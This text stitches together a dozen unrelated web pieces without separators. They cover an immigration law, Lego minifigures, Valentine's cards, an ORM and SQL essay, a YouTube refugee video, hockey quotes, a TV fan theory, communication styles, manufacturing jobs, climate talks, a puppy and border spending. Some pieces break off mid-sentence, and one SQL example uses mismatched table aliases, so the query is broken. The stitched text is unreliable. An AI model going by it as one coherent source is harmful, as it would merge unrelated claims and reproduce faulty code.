The Immigration Reform and Control Act (IRCA) that Reagan signed off on failed to put an end to illegal immigration because it didn’t create a flexible policy to deal with the future flow of immigration or sufficiently deter employers from hiring undocumented labor. However, there are also some lessons to be learned from IRCA’s legalization program.
“Even though IRCA was implemented during an economic recession characterized by high unemployment, it still helped raise wages and spurred increases in educational, home, and small-business investments by newly legalized immigrants,” asserted the Center for American Progress in a report that was released earlier this year. “Taking the experience of IRCA as a starting point, we estimate that comprehensive immigration reform would yield at least $1.5 trillion in cumulative U.S. gross domestic product over 10 years.”
Andrea Christina Nill
Reposted with permission from The Wonk Room.What do you call cocktail trivia that’s aimed at 10-year-olds? Regardless, Lego’s humanoid minifigures are one of the most iconic toys worldwide, but they have a strange design feature: a hole on the top of their heads. Why this hole exists is a mystery to most people. That hole can stick to a Lego brick, but why would anyone ever want to stick a humanoid head to a Lego brick?
In reality, the answer is quite simple. As Lego told Gizmodo in a Q&A:
We added this hole on the top of the head just in case any kids got one of the heads stuck on their throat. That way they would be able to keep breathing.
In other words, the minifig is essentially designed to be a tube should it finds its way into a windpipe.
It’s a neat piece of trivia, right? But the more incredible point of the story is something altogether different. The minifig is an unmistakable mascot–it’s basically Lego in the flesh. And its most defining, oddball feature is only tangentially related to the product’s core function. In reality, the minifig has been branded by a tacit commitment to safety, not building castles or pirate ships.
The minifig’s most defining feature is only tangentially related to its core function.
So much of what we consider good design is reductionist–that oh-so-influential tenth rule of Dieter Rams’s principles of design–to boil a product down to its most essential. It seems crass to propose that it’s unessential for a child’s toy to prevent choking, but the industry has sort of decided that! It’s why toy boxes are plastered with a recommended age range and choking-hazard notices, while the toys inside them can be lethal.
In designing the minifig, Lego disregarded conventional design wisdom: They added an extra feature (mistake 1). They made it extremely obtrusive to the design (mistake 2). Then they never advertised that protrusion as a feature (mistake 3). Yet ultimately, that feature lent itself to an aesthetic that’s one of the strongest bits of branding in the entire toy industry. A minifig just wouldn’t be a minifig were it more dangerous to children. And that’s a pretty remarkable thing to learn today, given that they’ve been around since 1978*.
* As it’s been pointed out in the comments, an earlier, solid version of the minifig was released in 1975 before it finalized the contemporary design three years later.Is this a victory for inclusivity? Valentine’s Day cards at a chain drugstore. Allison Steinberg
I was shopping in a chain drugstore last weekend, searching for the perfect Valentine’s Day card for my wife and for Grandma, when I came across a most curious category: “Love: Man to Man.” I was shocked and excited and confused all at the same time.
It was jarring and pleasing to see same-sex love recognized in a franchise pharmacy. I recognize that LGBTQ inclusion in advertising and marketing is something that’s happening more and more these days, but the attention still feels new and foreign after a lifetime of invisibility. How many of us spent a good amount of media consumption transposing the genders in horoscopes or reading too far into moments that aren’t LGBTQ but feel like they could or should be? So many of us are accustomed to not having a place at the table, let alone an opportunity to be a part of the conversation, that it’s pure culture shock to see steps being taken to remedy that.
Yes, we have come an incredibly long way from the time when Hallmark or Duane Reade didn’t consider producing or selling same-sex Valentine’s Day cards. For that, I am grateful. “Exposure at all costs” tends to be my mantra as an advocate. I’ll take the one mediocre gay-male card over no same-sex cards at all.
But at a time when love really did win, it also felt a bit deflating to pick out a Valentine’s Day card for the woman who is now recognized as my wife in all 50 states in the country, only to find that I still have to draw a pony tail and breasts onto the silhouette of the man on its cover to make it reflect who we are.
What’s more, the category “Love: Man to Man” is a little peculiar. The cards for hetero lovers didn’t say, “Love: Man to Woman.” Just “Love,” or “Romance Humor,” or “Love: Heartwarming.” Aside from the disjointed terminology and the lack of “Love: Woman to Woman,” or any of the other categories of people in love that were missing, it felt like a heteronormative slap in the face. (I went to two more Duane Reade stores, only to find no same-sex categories there at all.) It felt like the 21st-century version of having to go into the porn section at the video store to get the one LGBTQ-themed movie title. (I was renting a documentary, I swear.)
When the Supreme Court recognized our right to marry last June, it did so under the logic that our love shouldn’t be subject to different standards than our straight counterparts’. Now it’s time to implement that equality so that it’s realized in the everyday moments in our lives. Clerks that take our tax dollars in their paychecks shouldn’t be allowed to turn away same-sex couples, nor should business owners who serve the public. And marketers who are trying to get it right will need to think through what inclusivity really means. LGBTQ people shouldn’t be excluded, nor should we be relegated to a separate section that feels more like an afterthought than a strategic plan.
Of course, one could argue that the commercialization of love in the form of mass-produced greeting cards that are heteronormative at worst and mildly inclusive at best is spilled milk not worth crying over. Why not buy from a local LGBTQ business or an artist who makes inclusive cards? Still, it’s worth asking why we shouldn’t settle for second-best and identifying how much further we have to go. Inclusive greeting cards are no compensation for the real protections we have yet to secure in employment, housing, and public accommodations, but those little cardboard booklets that mark rites of passage and holidays are worthy of some consideration.
Greeting cards are a microcosm for our culture. The selection on the drugstore shelves represents the moments we’ve more or less agreed as a society are worth remembering. To be included in a meaningful (read: not token) way means the ruling those justices handed down that fateful day really has trickled down into everyday life. It means our kids get to see their parents’ love reflected in mainstream settings. It means the young person not yet out of the closet can walk down the greeting card aisle and know for the first time that he may one day have the privilege of walking down a much more meaningful aisle.Much of the ORM criticism of the last decade missed the point, being inaccurate. By the end of this article, we will conclude with the following:
There is no significant difference between the relational (data) model and object oriented models
How to come to this conclusion? Read on!
How we came to believe in this fallacy
Many popular bloggers and opinion leaders have missed no chance to bash ORMs for their “obvious” impedance mismatch with the relational world. N+1, inefficient queries, library complexity, leaky abstractions, all sorts of buzzwords have been employed to dismiss ORMs – often containing a lot of truth, albeit without providing a viable alternative.
But are these articles really criticising the right thing?
Few of the above articles recognise a central fact, which has been elicited eloquently and humorously by Erik Meijer and Gavin Bierman in his very interesting paper “A co-Relational Model of Data for Large Shared Data Banks“, subtitled:
Contrary to popular belief, SQL and noSQL are really just two sides of the same coin.
Or in other words: The “hierarchical” object world and the “relational” database world model the exact same thing. The only difference is the direction of the arrows that you draw in your diagrams.
Let this sink in.
In the relational model, children point to their parent.
In the hierarchical model, parents point to their children.
That’s all there is to it.
What is an ORM?
ORMs fill the bridge between the two worlds. They’re the inverters of arrows, if you will. They will make sure that every “relation” in your RDBMS can be materialised as an “aggregation” or “composition” in your “hierarchical” world (this works for objects, XML, JSON, and any other format). They make sure that such materialisation is properly transacted. That changes to individual attributes or to relational (aggregational, compositional) attributes are properly tracked and purged back into the master model, the database – where the model is persisted. Individual ORMs differ in terms of offered features and in how much mapping logic they offer in addition to mapping individual entities to individual types.
Some ORMs may help you implement locking
Some may help you to patch model mismatches
Some may focus merely on a 1:1 mapping between these classes and tables
But all ORMs do one very simple thing. Ultimately, they take rows from your tables and materialise them as objects in your class model and vice-versa.
A very nice overview of different ORMs has been compiled on the Vertabelo blog, recently, by the way.
Tables and classes are the same thing
Give or take 1-2 implementation details, an RDBMS’s table and an OO language’s class is the same thing. A specification of a set of grouped attributes, each with their associated type. Consider the following example, using SQL and Java:
SQL
CREATE TABLE author ( first_name VARCHAR(50), last_name VARCHAR(50) );
Java
class Author { String firstName; String lastName; }
There is absolutely no conceptual difference between the two – the mapping is straightforward. The mapping is even straightforward when you consider “relations” / “compositions” between different entities / types:
SQL (let’s leave away constraints for simplicity)
CREATE TABLE author ( id BIGINT, first_name VARCHAR(50), last_name VARCHAR(50) ); CREATE TABLE book ( id BIGINT, author_id BIGINT, title VARCHAR(50), );
Java
class Author { Long id; String firstName; String lastName; Set<Book> books; } class Book { Long id; Author author; String title; }
The implementation details are omitted (and probably account for half of the criticism). But omitting further details allows for straight-forward 1:1 mapping of individual rows from your database to your Java model, without any surprises. Most ORMs – in the Java ecosystem Hibernate in particular – have managed to implement the above idea very well, hiding away all the technical details of actually doing such a model transfer between the RDBMS and Java.
In other words:
There is absolutely nothing wrong with this mapping approach!
Yet: There *IS* an impedance mismatch, somewhere
The “problems” that many bloggers criticise arise not from the non-existing mismatch between the two model representations (“relational” vs. “hierarchical”). The problems arise from SQL, which is a decent implementation of relational algebra.
In fact, the very same mismatch that everyone criticises is also present between:
Relational algebra has been defined in order to be able to query relations and to form new ad-hoc relations as an output of such queries. Depending on the operations and transformations that are applied, the resulting tuples may have absolutely nothing to do with the individual entities involved in a query. In other, ORM-y words: The product of relational algebra, and in particular of SQL has no use, as it can no longer be further processed by the ORM, let alone persisted back into the database.
To make things “worse”, SQL today is a large super-set of the features offered by relational algebra. It has gotten much more useful than when it was conceived.
Why this mismatch still affects modern ORMs
The previous paragraphs outlined the single main reason why ORMs are really criticised, even if such criticism often doesn’t mention this exact reason:
SQL / relational algebra is not really appropriate to partially materialise relations into a client / store changes back into the database. Yet, most RDBMS offer only SQL for that job.
Back to the author / book example. When you want to load and display an author and their books to a web application’s user, you’d like to simply fetch that author and their books, call simple methods like author.add(book) as well as author.remove(book) and let some magic flush your data back into the storage system.
Thinking about the amount of SQL code to be written for such a simple CRUD task makes everyone squeal.
Life’s too short to spend time on CRUD
Perhaps QUEL might have been a better language for CRUD, but that ship has sailed. And unfortunately, because of SQL being an inappropriate language for this job, you cannot ignore that “magic” but have to know well what happens behind the scenes, e.g. by tweaking Hibernate’s fetching strategies.
Translated to SQL, this may be implemented in several ways:
1. Fetching with JOIN
Using outer joins, all the involved entities can be queried in one go:
SELECT author.*, book.* FROM author LEFT JOIN book ON author.id = book.author_id WHERE author.id =?
Advantages:
A single query can be issued and all the data can be transferred at once
Disadvantages:
The author attributes are repeated in every tuple. The client (ORM) has to de-duplicate authors first, before populating the author-book relationship. This can be particularly bad when you have many nested relations that should be fetched at once.
2. Fetching with SELECT
A single query is issued for each entity:
SELECT * FROM author WHERE id =? SELECT * FROM book WHERE author_id =?
Advantages:
The amount of data to be transferred is minimal: Each row is transferred exactly once.
Disadvantages:
The amount of queries that are issued may explode into the well-known N+1 problem.
Hibernate in particular knows other types of fetch strategies, although they are essentially a variant / optimisation of one of the above.
Why not use SQL MULTISET?
The ideal way to fetch all data in this case using advanced SQL would be by using MULTISET :
SELECT author.*, MULTISET ( SELECT book.* FROM book WHERE book.author_id = author.id ) AS books FROM author WHERE id =?
The above will essentially create a nested collection for each author:
first_name last_name books (nested collection) -------------------------------------------------- Leonard Cohen title -------------------------- Book of Mercy Stranger Music Book of Longing Ernest Hemingway title -------------------------- For Whom the Bell Tolls The Old Man and the Sea
If you add another nested entity, it is easy to see how another MULTISET could allow for additionally nested data:
SELECT author.*, MULTISET ( SELECT book.*, MULTISET ( SELECT c.* FROM language AS t JOIN book_language AS bl ON c.id = bc.language_id AND book.id = bc.book_id ) AS languages FROM book WHERE book.author_id = author.id ) AS books FROM author WHERE id =?
The outcome would now be along the lines of:
first_name last_name books ----------------------------------------------------- Leonard Cohen title languages ----------------------------- Book of Mercy language ------------ en Stranger Music language ------------ en de Book of Longing language ------------ en fr es
Advantages:
A single query can materialise all eager-loaded rows with minimal bandwidth usage.
Disadvantages:
None.
Unfortunately, MULTISET is poorly supported by RDBMS.
MULTISET (as well as arrays and other collection types) have been introduced formally into the SQL standard as of SQL:2003, as a part of an initiative to embed OO features into the SQL language. Oracle, for instance, has implemented much of it, much like Informix did, or the lesser-known CUBRID (although using vendor-specific syntax).
Other databases like PostgreSQL allow for aggregating nested rows into typed arrays, which works the same way although with a bit more syntactic effort.
MULTISET and other ORDBMS SQL features are the perfect compromise, allowing for combining the best of the “relational” model with the best of the “hierarchical” model. Allowing for combining CRUD operations with querying in one go, removing the need for sophisticated ORMs, as the SQL language can be used directly to map all your data from your (relational) database to your (hierarchical) client representation with no friction.
Conclusion and call to action!
We’re living through exciting times in our industry. The elephant (SQL) in the room is still here, learning new tricks all the time. The relational model has served us well, and has been enriched with hierarchical models in various implementations. Functional programming is gaining traction, complementing object orientation in very useful ways.
Think of the glue, putting all these great technological concepts together, allowing for:
Storing data in the relational model
Materialising data in the hierarchical model
Processing data using functional programming
That awesome combination of techniques is hard to beat – we’ve shown how SQL and functional programming can work with jOOQ. All that’s missing – in our opinion – is better support for MULTISET and other ORDBMS features from RDBMS vendors.
Thus, we urge you, PostgreSQL developers: You’re creating one of the most innovative databases out there. Oracle is ahead of you in this area – but their implementation is too strongly tied to PL/SQL, which makes it clumsy. Yet, you’re missing out on one of the most awesome SQL feature sets. The ability to construct nested collections (not just arrays), and to query them efficiently. If you lead the way, other RDBMS will follow.
And we can finally stop wasting time talking about the object-relational impedance non-mismatch.YouTube’s ‘refugee’ propaganda video not going down so well. https://t.co/ZFtuVOokOW pic.twitter.com/L5ylL4L6RS — Paul Joseph Watson (@PrisonPlanet) June 20, 2017
A YouTube video seeking to highlight the plight of refugees and promote tolerance has provoked the exact opposite response as an overwhelming number of viewers hit ‘dislike’.
The video, which is titled #MoreThanARefugee, is part of a series created by the International Rescue Committee (IRC) in partnership with YouTube. Seven well-known YouTube creators were invited to tell refugees’ stories to mark World Refugee Day Tuesday.
The latest video, which has attracted most of the negative attention, features a young Iraqi girl called Maryam now in Serbia, Palestinian Hasan now in Greece, and Catherine from Sudan, now a refugee in Uganda.
The refugees tell viewers about their interests and about being forced to leave their homelands because of war and violence. The video has been viewed nearly six million times since it was published Tuesday. At the time of writing, more than 230,000 people have disliked it, while approximately 90,000 have given it the thumbs up.
The project certainly seems to have struck a bum note, as many took to the video’s comments section and to Twitter to criticize the content. Many comments are anti-Islamic and anti-Semitic in nature, containing numerous references to Nazism and Hitler, as well as opposition to refugees in general.
Many more described the video as propaganda while others were critical of it for featuring two young girls and an older man when they, inaccurately, claimed that refugees are predominantly young men. The comments section is also flooded with people accusing YouTube of removing comments.
Statistics on Syrian refugees from the United Nations High Commissioner for Refugees show that almost as many women are refugees as men.
The project asks that people donate funds to the IRC. The rescue fund’s partner Google is matching all donations up to $500,000.
Original Article
Share ThisOn the loss:
I thought we looked like a tired team. It caught up with us a little bit. That’s the highest scoring team we’ve played this year, and I just think we made some fatigue mistakes, and they buried them.
On whether he had the sense that the team was capable of coming back:
Absolutely. We believed we were coming back, and it was a soft goal to make it five-three. It kind of takes the wind out of your sails.
On the team’s plans in Mont Tremblant:
A day off and practice. Got ice, we’ll get our work in. Even though it’s a long trip, we had the first game, that was three-in-four days, and that was a hard game, the Columbus game. Then this part was three-in-four-days and it was hard, too, so now we’ve got to get the rest in and try to get ready for a tougher team than we played tonight.
On the choice to use seven defensemen:
We thought that quite honest, the last two or three games, we didn’t get much out of the bottom part of our forward lineup at all, and we just felt that Kopi, [inaudible], they both played a hell of a game for us, and they knew they were going to get played lots and they both did, but where we have the forwards slotted, the third and fourth lines haven’t given us much.
On what went wrong in the loss:
Not too much. They’re a high scoring team, and they got some opportunities and they put it in the net.
On Ottawa’s intensity being called out after their previous game:
I’m not aware of that. I wasn’t in their coaches meetings or their team meetings.Uber’s A Identity and Motives
Uber A has two motives, which are the two biggest events in the show.
Motive #1. Radley and how it really started the whole A mess. I believe Uber A was hospitalized here and was treated very badly as a patient.
Uber A was blamed for Marion’s death when Bethany actually committed the murder. Uber A was the “fragile patient” mentioned by Peter Hastings and Bethany was “that blonde girl” which was mentioned by Dr. Palmer. Uber A being blamed for Marion’s death set off her anger with both Bethany and Radley.
Radley is where Uber A met CeCe because CeCe used to be hospitalized at Radley as well. CeCe being an old patient at Radley is one of the reasons Jessica didn’t like her. Uber A and CeCe teamed up to get revenge against Bethany. CeCe found out that Alison’s mom was having an affair with Bethany’s dad. CeCe told Alison that she would pretend to be her and Alison only thought it was a game.
CeCe pretended to be Alison and told Bethany the truth about Jessica’s real life with her family. This is the reason why Jessica was so angry at Alison about CeCe pretending to be her.
Bethany escaped Radley and found Alison wandering at her house and attacked her. After realizing from Mrs. D and Alison’s face that Alison wasn’t the one who visited her at Radley, Bethany left the scene quickly. Bethany was soon attacked by Uber A who left her body there.
Melissa discovered the body and assumed Spencer killed her. So she buried the body.
But soon after, CeCe met up with her that night and told her that the body wasn’t Alison’s, but Bethany’s. This is when Jason sees them that night.
Motive #2. The Jenna Thing started the torment for the Liars. Uber A was friends with Jenna and was with Jenna when Alison threw the fireworks in the shed. Uber A received bad burns from this event, which is why there are fires throughout the show. Jason’s House, the Lodge, the Cavanaugh’s House, the school shed…
Uber A burned the left side of the Hanna bobblehead…
…and Hanna was the only left in the Lodge fire.
Uber A’s mask was burnt, which symbolized that Uber A is a burn victim. Who is the one connected to these fires?
Jenna is, but she’s not Uber A.
Now I believe A is one of the Liars’ twin. I’ve deduced that it’s not Alison’s seeing as it’ll be too obvious. But the Liar who I think may be the one with the twin is…
HANNA.
I think Uber A is Hanna’s twin. Hanna’s twin was the ”blonde girl“ in Radley. There are so many clues of Hanna having a twin. She always sees and talks about twins.
She saw the two girls in 4x13 who she thought were twins but were revealed to not actually be twins.
There was a twin statue in 4x13 as well.
Ashley Marin had a talk with one of the twin’s from Alison’s story. I believe this was actually a suppressed memory of Ashley’s.
Red Coat always sees Hanna in reflections.
The twin story was told to Hanna in 2x13.
Alison’s twin story was actually true but about Hanna. But Hanna hid the memories deep in her subconsious. She is unaware that she even has a twin as her parents sent the twin to Radley after she tried to kill Hanna.
In 3x17, Hanna’s twin burned the Hanna doll because she is actually a burn victim herself and she wants Hanna to be the same. So, in 4x24, Hanna’s twin wanted Hanna to burn in the fire. But Shana also wanted the other Liars and Mona to burn in the fire. Hanna’s twin saved the other Liars and Mona, but left Hanna to burn.
That’s when Ali came and saved Hanna.
Bethany Young
Wren is Bethany Young’s brother, who also believed that it wasn’t Bethany who killed Marion. When Bethany came up missing, he began searching for answers about Bethany’s and Marion’s deaths, Radley and those involved with the sanitarium.
He began dating Melissa who he knew was friends with CeCe who was posing as Ali at Radley.
But Wren ended up falling for Spencer, which distracted him from his searching for answers. But they didn’t work out which made him get back to his searching.
He ended up becoming Mona’s doctor at Radley, who he knew was connected in some way.
But he ended up becoming friends with Mona and becoming attracted to Hanna. This also distracted him from his searching. But he felt used by Hanna so he continued and ended up finding out that Hanna has a twin. But she told him that she had information on Bethany and Marion’s deaths.
In exchange for the info, Wren had to make Ashley lose her lawyer. Hanna’s twin gave him info about Melissa and Shana being connected to Bethany’s death. This made him start to become friends with Shana and try to get back together with Melissa.
WREN is also Uber A’s helper now. Hanna’s twin has convinced Wren that Alison is the one who killed Bethany.
Wren was the A who attacked Ali in 5x06. Wren will be the A revealed in 5B’s finale, but there might be another reveal. This is why Uber A targets Alison so much, to make it seem like the game is about Alison when in actuality, the game is about justice and Hanna. This makes sense because throughout Uber A’s attacks and threats, she has a twisted passion for justice. And Hanna is the one tortured the most out of the other Liars.
Now I also think Wren is somehow connected to the Montgomery’s and that Aria has a connection to Uber A. Wren said his dad had a mental illness and Byron said his brother had a mental illness. So this leads me to believe that Wren is maybe Aria and Mike’s cousin. This would mean that Wren and Bethany’s father was Scott, Byron’s brother.
All of the clues that point to Aria being Uber A are actually clues that she has a mental disorder just like Uber A. Mental disorders run in her family and Byron’s brother Scott had a mental disorder. Byron wanted the family to go to Iceland for two reasons. 1. To get away from the Alison drama. 2. To get away from the Bethany drama. I believe one of the Montgomery family members (likely Byron) helped Bethany escape Radley that night. They wanted her to be free for a day. But Bethany went out on her own and never came back. So the Montgomery family left to Iceland to get away from all the drama and guilt. We are never really sure of Alison and Aria’s relationship. I think it is neutral, but Alison picked Aria for a reason. In “Misery Loves Company”, Alison told Aria “You know why I picked you right?”. This is when Meredith attacked Aria and it was revealed Meredith had a mental disorder as well. So when Alison said that, she meant that she picked Aria because while she is compassionate, she also has mental disorders in her |
say the new iOS 6) do you read about it first, or rush straight to the images?
In advertising campaigns, where convincing people is everything, you’ll always see both languages used together – strong copy which goes hand in hand with an interesting image. Some will remember what they’ve read, others will remember what they’ve seen. The segmentation between these categories originally came from researchers exploring different learning styles to improve the ways students are taught by understanding how different minds work.
How to identify if someone thinks in an auditory or visual way? I usually ask people to describe a certain event – like the last party they attended or the worst flight they were on. You’ll soon notice that some use names of people and places, times and phrases, while others describe an image – the size of the room, the colors and how people looked. Notice the different verbs they use. Auditory thinkers will tend to use verbs such hear, listen, explain. Visual thinkers are much more likely to describe a situation using see, look, watch. You can find out which category you belong to here.
How to convince better by understanding auditory vs. visual thinking
Use both languages – When I pitch a new idea, much like in advertising, I try to balance between the text and visual. It can be an email with a written suggestion and a screenshot, or a presentation slide with an important message complemented by an image representing the same idea.
Create a visual using words – the same applies when talking about an idea. You don’t usually have enough time to prepare a visual, but you can construct it with words. Creating a vivid picture in someone’s head – the time of day, the location, the colors, is one of the best ways to have a visual thinker remember and understand your ideas.
Give visual thinkers something to doodle on – I’ve noticed that the larger the whiteboards we use in meetings, the better the outcome. I always have papers, a whiteboard or an iPad handy when brainstorming with others. At one point we’ve replaced all the tables at the office to glass ones, which can be doodled on. This small step has increased everyone’s productivity. Here’s an interesting finding based on study published in the journal Applied Cognitive Psychology: ”subjects given a doodling task while listening to a dull phone message had a 29% improved recall compared to their non-doodling counterparts”.
This picture was taken at my office this week :
“Do you hear me?” Talkers vs. Listeners
Unlike others, it’s much simpler to recognize this pattern from the outside. Try asking people where they fit – the common answer is “both”. Talking vs. listening habits affect our state of mind while communicating and change how one absorbs what others say. When you talk, some find it very easy to concentrate, while others are more challenged by thinking of their response as you talk. While it sounds like listeners are your best audience, they have their downsides as well as they tend to focus too much on what you have to say, instead of giving their own feedback.
Keep the talker in the center while you speak – don’t try to resist talkers, they really do struggle to keep up their concentration as you talk. Talkers find it easier to listen if you place them in your flow. Start paragraphs by saying – “based on the question you asked before” or “this is one issue I know you’ll find interesting”.
Use writing instead of talking – It might take more time, but sometimes it’s easier to express your ideas in writing when communicating with talkers. Most of them will like it better as well. It’s a sure way to have them going over all you have to say in a coherent order.
Ask Listeners questions they have to answer – to encourage a conversation with listeners try asking questions with no easy way out. For example, instead of asking “do you have any concerns?” where you’re likely to get a standard ‘no’, try asking “if you had to choose one thing you’re worried about or disagree on, what would it be?”. It can also go on the other direction – “what did you like best about the idea?”.
Try using some of these techniques today. Give someone an hour to figure out stuff by themselves, add some colors and vivid imagery to a description, or ask a listener what was his or hers favorite part.
About the author:
Iris Shoor is co-founder at Takipi, where she’s looking to improve the way developers work in the cloud. Previously, Iris was co-founder at VisualTao, which was acquired by Autodesk. You can follow her on Twitter @irisshoor and hit her up any time, she is a super nice person.
Photocredit: Iris Shoor
Originally written Oct 23, 2012. Last updated Apr 4, 20161. Manufacturing does not generate a lot of jobs: American manufacturing is making a comeback, but is remains an anemic job creator. Manufacturing output is projected to grow from $4.4 trillion in 2010 to a projected $5.7 trillion by 2020, according to the Bureau of Labor Statistics. But this increased manufacturing output — which stems from improvements in technology, greater use of robots and automation, and improved production organization — will not necessarily translate into a whole lot more jobs. In fact, the BLS projects the U.S. will lose another 73,100 manufacturing jobs by 2020, as manufacturing falls to just seven percent of total employment.
While there is much to applaud about the recent revival of American industry, manufacturing is simply insufficient to help revive lagging industrial regions or power the job creation the nation so badly needs. Here's why:
After shedding jobs for more than 10 years, our manufacturers have added about 500,000 jobs over the past three. Caterpillar is bringing jobs back from Japan. Ford is bringing jobs back from Mexico. After locating plants in other countries like China, Intel is opening its most advanced plant right here at home. And this year, Apple will start making Macs in America again.
In last night's State of the Union address, President Obama said : "Our first priority is making America a magnet for new jobs and manufacturing." He added:
Also, many manufacturing jobs that are being brought back onshore offer substantially lower wages then existing manufacturing jobs. "U.S. manufacturing wages have come under further pressure as large established companies like General Electric, Ford and others have instituted two-tier pay practices," I wrote on Cities last year based on a report by the New York Times, which found new hires making just $12 to $19 per hour compared to $21 to $32 per hour for established employees.
While we like to think manufacturing jobs are secure, they are actually among the most vulnerable to the ups and downs of the business cycle. As I noted on Cities this past October, the unemployment rate for workers in blue-collar jobs increased to 14.6 percent during the economic crisis, more than three times the rate of 4.1 percent for knowledge, professional, and creative workers, and considerably higher than the 9.3 percent rate for workers in low-skill service jobs which we typically think of as more vulnerable.
The 66,530 tool and die makers or the 36,200 aircraft assemblers have great jobs earning - $48,710 and $45,230, respectively. But the nearly 150,000 sewing machine operators average just $22,630 a year, or $10.88 per hour.
2. Not all manufacturing jobs are good jobs: Americans often think of manufacturing jobs as good, family-supporting union jobs, but unfortunately that's not actually the case. Production workers across the United States average just $34,220 per year according to the BLS, less than half that of knowledge, professional and creative workers ($70,890) and not that much more than what low skill service workers in fields like food preparation, clerical work and retail sales ($30,597) take home. Pay varies considerably across different types of manufacturing jobs. As I noted here last March :
3. Manufacturing jobs are concentrated in only some parts of the country: According to a recent Cleveland Fed study, manufacturing remains massively concentrated in the United States. Manufacturing makes up an 11 percent share of U.S. employment. But as the graph below (from the report) shows, the distribution of manufacturing employment in the U.S. is highly skewed. As the report notes:
The top 25 percent of counties in terms of their share of manufacturing employment derive about 18 percent or more of their employment from manufacturing. While these counties contain about one-fourth of the manufacturing employment in the United States, they contain only one-eighth of the U.S. population.
As the map below (also from the study) shows, manufacturing jobs are overwhelmingly concentrated in the middle of the country, not just in the industrial Midwest but in adjacent parts of the Sun Belt, especially along Interstate 75 in the states of Kentucky down to Georgia, forming a southern industrial heartland. There are only a few red spots in the West.
4. Manufacturing does not translate into local economic growth and development: While many continue to pin their hopes on manufacturing revival, the Cleveland Fed study finds that the counties with high concentrations of manufacturing activity experienced low rates of economic growth over the past decade. According to the report:
Since 2000, this set of high-manufacturing-share counties has usually experienced lower employment growth than the rest of the counties in the United States. This was particularly true during the recent recession, when employment losses reached almost 6 percent per year in these counties compared to a peak employment loss of only 3.7 percent per year in the rest of the country.
The study finds that while high-manufacturing share counties did rebound during the economic recovery, in the "last year or two employment growth has been roughly the same in the high-manufacturing-share counties as it has been in the rest of the country."
The chart above from the report makes this abundantly clear, comparing the trend in employment growth for high-manufacturing counties compared to all other counties. Employment in high-manufacturing counties experienced a five percent decline, employment in the rest of the nation's counties increased by five percent "revealing a stark divergence," according the report.
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The findings from the Cleveland Fed's report are in line with two related studies by Bill Testa of the Chicago Fed, which found the heavy concentration of manufacturing in the Midwest actually hindered the economic development of its cities and metros (I wrote about this study last year on Cities). Testa's detailed research concluded that "even after accounting for the influence of educational attainment, a historical manufacturing orientation tended to depress subsequent growth" - an effect which was felt for the better part of two decades. As Cities contributor Micheline Maynard pointed out last year, betting on manufacturing's revival is likely to be a "big economic miscalculation" for Midwest cities, ultimately doing "more harm than good."
• • • • •
President Obama should know better. It's time for our leaders to stop looking backward, trying to breathe life back into an economy that no longer exists, and develop an economic and job's strategy for the one that actually exists and will shape our future.
When all is said and done, it's not manufacturing that drives economic growth and creates new jobs, but innovation, creativity and talent. The big job generators for the past several decades and for the foreseeable future remain high-skill, high-pay knowledge jobs and low-pay, low-skill service jobs. We need to leverage and deepen the former, investing in the knowledge, technology and skill that drive innovation and economic growth. At the same time, we need to transform the more than 60 million low-wage service jobs into good family-supporting jobs like manufacturing jobs used to be.
That's the State of the Union we're still waiting to hear.Six green groups have walked out of UN climate negotiations, declaring the ailing talks were "on track to deliver virtually nothing".
"Organisations and movements representing people from every corner of the Earth have decided that the best use of our time is to voluntarily withdraw from the Warsaw climate talks," they said in a statement on Thursday.
"The Warsaw climate conference, which should have been an important step in the just transition to a sustainable future, is on track to deliver virtually nothing."
The signatories were Greenpeace, WWF, Oxfam, ActionAid, the International Trade Union Confederation and Friends of the Earth.
The annual round of talks are meant to pave the way to a climate deal by 2015 that will peg global warming to a maximum 2.0 degrees Celsius over pre-industrial revolution levels.
But deep faultlines have emerged between rich and poor nations.
The negotiations, which opened on November 11, entered their penultimate day on Thursday with the two sides still squabbling over funding for poor nations to deal with climate change, and apportioning curbs in climate-altering greenhouse gas emissions.(Video courtesy Andrea Huisman)
Forget his crippling canine deformities -- little General is one lucky dog. In the Alaska of old, his life would have been measured in hours. In the wild, he might have made it a day or two until his mother discovered he couldn't walk.
Cute as a button at birth, General sadly came into the world lacking the use of his front legs. A dog like that is doomed in the natural world, and people living subsistence lifestyles can't afford to sacrifice resources to support a dog unable to work for a living.
General, however, was blessed to be born into the family of Andrea Huisman. When she decided the family couldn't support him, she put an ad on craigslist.com in Fairbanks looking for a responsible family who could.
The ad went viral and the world opened its heart. More than 100 offers to take General in have come from across the country.Do you think Congress really cares about the budget deficit anymore? Or that the age-old practice of buying lawmakers votes with local projects is really dead? Just take a look at the Senate’s version of the immigration bill.
Last Thursday, the Congressional Budget Office scored the Senate’s draft immigration bill as reducing the deficit by nearly $200 billion over 10 years. Within 24 hours, the measure’s sponsors agreed to give away 20 percent of that $200 billion—$40 billion in new spending—in immigration pork.
Ostensibly to protect the southern border (a polite euphemism for “keeping Mexicans out of the U.S.”), the package of porcine amendments would add 20,000 more border agents and at least an additional 350 miles of border fence, as well as drones and other assorted technology. The extra agents alone would cost $30 billion. In a key vote last night, 67 senators agreed to debate the amendment (What can I tell you? It is the Senate).
That’s 20,000 more jobs for southern California, Arizona, New Mexico, and Texas. They might help offset the undocumented workers the law would keep out—workers that employers in that part of the country dearly wish they could hire. Curiously, they’d substitute (higher-paying) government jobs for (low-wage) private-sector jobs—a trade-off that until yesterday was as fashionable on Capitol Hill as spats.
Of course, the drones and other techno-wizardry will create additional jobs in other states and congressional districts. Nice timing since some of that proto-military business is otherwise shrinking as the war in Afghanistan winds down. In fact, as Senator Lindsey Graham (R-S.C.) told The New York Times last week, these extra dollars “will almost militarize the border.”
And, of course, this is only the beginning. Even if the Senate approves the bill, a version must somehow pass the House, after which it will likely end up in a conference committee—all additional opportunities to add more spending.
The measure will no doubt satisfy lawmakers who legitimately worry about people who illegally cross the border from Mexico to the U.S. But that phenomenon has already largely come to an end, thanks to a combination of existing border security, a stronger Mexican job market, and declining Mexican birth rates. Last year, the Pew Center estimated that net migration from Mexico to the U.S. had fallen to zero.
That report also found that in 2011, U.S. border security apprehended about 286,000 people attempting to cross illegally, down from 1 million in 2005. That’s despite a massive increase in security agents and a new fence. It strongly suggests far few people were trying to cross.
In that environment, would the extra $40 billion in border security further reduce illegal crossings? CBO says yes, but can’t say by how much. In CBO-speak, “the uncertainty associated with future population flows…is very great.”
Better question: Is all this extra border security the most cost-effective way to keep more people from illegally crossing? Are there better, less expensive ways? Nobody seems to have asked.
They didn't need to. As Politco's Carrie Budoff Brown and Manu Raju wrote last week, "money broke the impasse."
